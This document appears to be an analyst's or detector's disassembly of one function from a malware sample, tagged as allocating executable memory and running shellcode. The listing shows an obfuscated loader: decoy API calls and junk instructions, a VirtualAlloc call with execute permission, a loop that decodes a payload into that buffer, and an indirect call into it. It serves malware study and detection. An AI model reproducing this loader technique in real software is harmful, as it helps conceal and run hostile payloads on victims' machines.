Function at 0x10001b6f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10050068]
sub eax, eax
mov eax, dword [0x1005039c]
mov ecx, 0x10
cmp edx, 0
jl 0x10001b9e
mov eax, dword [0x100502b8]
add ecx, eax
mov eax, dword [0x1005040c]
mov dword [0x10050370], eax
mov dword [0x1005021c], eax
mov edx, dword [0x100502ac]
add eax, ecx
cmp eax, 0
jne 0x10001bca
mov edi, dword [0x10050018]
mov eax, dword [0x100502fc]
sub esi, edx
mov dword [0x10050384], ecx
mov dword [0x10050374], edi
and dword [0x100501b8], esi
mov eax, dword [0x10050018]
push 0x8b
push 0
call sub.user32.dll_LoadIconA
mov esi, dword [0x100500e0]
sub esi, eax
mov esi, 4
cmp dword [0x10050284], 0x96
jne 0x10001c1a
mov dword [0x100503ec], esi
mov edi, dword [0x100503f0]
mov eax, dword [0x10050340]
mov ecx, 0xf
mov ax, 2
sbb dword [0x100503d4], edx
mov esi, dword [0x100503e4]
mov dword [0x100500f8], edi
call fcn.10001fa0
mov esi, dword [0x100501d8]
mov esi, 1
cmp dword [0x10050374], eax
jbe 0x10001c5f
mov eax, dword [0x10050350]
mov ecx, dword [0x10050380]
mov edi, 2
mov eax, dword [0x100500f8]
add ecx, eax
mov dword [0x100501f8], eax
sub dword [0x100503d8], edi
mov dword [0x1005006c], eax
mov dword [0x100501f0], eax
push eax
call sub.user32.dll_DrawMenuBar
mov eax, dword [0x1005004c]
sub eax, eax
mov edx, dword [0x10050210]
mov eax, 0x54
cmp eax, dword [0x10050140]
jg 0x10001ca9
mov eax, dword [0x100501a0]
mov dword [0x10050184], eax
mov eax, dword [0x1005024c]
mov ax, 0x6d
mov dword [0x10050338], eax
add dword [0x10050018], 0x53
mov edi, dword [0x1005002c]
mov dword [0x10050214], eax
adc eax, dword [0x10050050]
call fcn.1000233e
adc edi, dword [0x10050234]
mov ecx, 4
mov eax, dword [0x10050358]
sub esi, eax
test ecx, ecx
jne 0x10001cec
mov dword [0x100502b4], eax
mov edx, dword [0x10050350]
mov esi, 2
add eax, edi
mov dword [0x100503a4], eax
sub dword [0x10050090], ecx
mov eax, dword [0x10050384]
mov dword [0x10050288], edx
push 0x9b
push 0
call sub.user32.dll_LoadIconA
call fcn.10003834
mov edx, dword [0x100503f4]
sub eax, edi
mov eax, dword [0x100502c8]
mov ax, 0x40
cmp eax, 0
jae 0x10001d36
mov eax, dword [0x10050340]
add ecx, ecx
mov ecx, dword [0x100500a0]
mov dword [0x1005025c], eax
mov dword [0x10050330], edi
mov eax, dword [0x1005020c]
mov eax, dword [sym.imp.user32.dll_GetMenu]
inc eax
mov ecx, dword [eax]
cmp ecx, dword [0x1004fff1]
jne 0x10001d40
dec eax
mov esi, dword [eax]
mov dword [0x10050088], esi
sbb edi, dword [0x10050034]
sub edi, eax
and eax, dword [0x100503c0]
add esi, eax
test eax, eax
jne 0x10001d8f
mov dword [0x1005025c], edx
mov ecx, dword [0x10050370]
mov eax, dword [0x10050214]
mov ax, 0x20
mov dword [0x100502a0], edi
mov dword [0x10050338], esi
mov dword [0x10050310], ecx
push 0xc3
mov dword [0x100500ec], eax
push 0
call sub.user32.dll_LoadIconA
mov eax, dword [0x10050400]
add eax, esi
mov eax, dword [0x1005004c]
mov eax, 0x20
cmp dword [0x10050414], eax
jne 0x10001dd6
mov eax, dword [0x100502e0]
mov esi, dword [0x10050378]
sub ecx, edx
mov ax, 2
mov dword [0x100500f8], edx
mov dword [0x10050228], esi
mov dword [0x100502bc], edx
push 0x40
push 0x1000
push 0x11000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10050170], eax
mov eax, dword [0x10050018]
add esi, edx
mov esi, dword [0x10050270]
add eax, eax
cmp edx, 1
jae 0x10001e29
mov dword [0x10050404], edi
mov esi, dword [0x10050414]
mov ecx, 8
mov eax, dword [0x10050168]
mov dword [0x10050018], eax
mov eax, dword [0x100503b0]
mov esi, dword [0x100502a8]
push edi
call sub.user32.dll_DrawMenuBar
mov edx, dword [0x10050104]
add eax, esi
cmp edx, dword [0x100502f8]
jbe 0x10001e66
mov dword [0x10050154], esi
mov esi, dword [0x100500a4]
mov si, 0x7f
mov ecx, dword [0x100503c8]
mov dword [0x100503c4], eax
mov dword [0x10050414], ecx
mov ecx, dword [0x10050170]
mov edi, 0x2ae
mov eax, dword [0x10050088]
add eax, 0x10f87ef8
mov esi, dword [eax]
add esi, 0xd17f553c
mov dword [ecx], esi
sub eax, 0xfffffffc
add ecx, 4
add edi, 0xffffffff
jne 0x10001e7c
mov eax, dword [0x10050128]
sub eax, eax
mov eax, 1
cmp esi, dword [0x100500e0]
ja 0x10001eb5
mov eax, dword [0x100500a4]
mov edx, 4
mov dword [0x10050268], edi
push eax
call sub.user32.dll_DrawMenuBar
mov eax, dword [0x10050188]
sub edx, edi
mov ecx, dword [0x10050244]
mov cx, 8
cmp dword [0x1005027c], 0x40
jnp 0x10001ef6
mov esi, dword [0x10050400]
mov si, 1
mov dword [0x10050028], esi
mov dword [0x10050228], eax
mov esi, dword [0x100501dc]
mov dword [0x1005027c], esi
push esi
call sub.user32.dll_DrawMenuBar
mov eax, dword [0x10050018]
mov dx, 2
mov edi, dword [0x100502e4]
cmp esi, 0
jne 0x10001f2b
mov eax, dword [0x100500e0]
mov edi, dword [0x100502fc]
add esi, ecx
mov ecx, dword [0x10050144]
add ecx, ecx
mov dword [0x1005022c], ecx
mov edx, dword [0x100500a4]
push pe_nt_image_headers32
push 0x40
call sub.KERNEL32.dll_GlobalAlloc
mov edi, dword [0x100501b4]
sub eax, edi
mov ax, 0xdb
cmp ecx, 1
je 0x10001f62
mov eax, dword [0x10050070]
mov edi, 0x40
mov eax, dword [0x10050274]
mov dword [0x10050400], eax
mov dword [0x10050214], eax
push eax
call sub.user32.dll_DrawMenuBar
mov ecx, dword [0x100502b4]
mov esi, 0x79
cmp eax, ecx
jl 0x10001f97
xor eax, dword [0x100502f4]
mov dx, 0xc0
mov ecx, dword [0x100500ec]
mov dword [0x10050038], ecx
mov eax, dword [0x100501f4]
mov eax, dword [0x10050170]
call eax
pop ebp
ret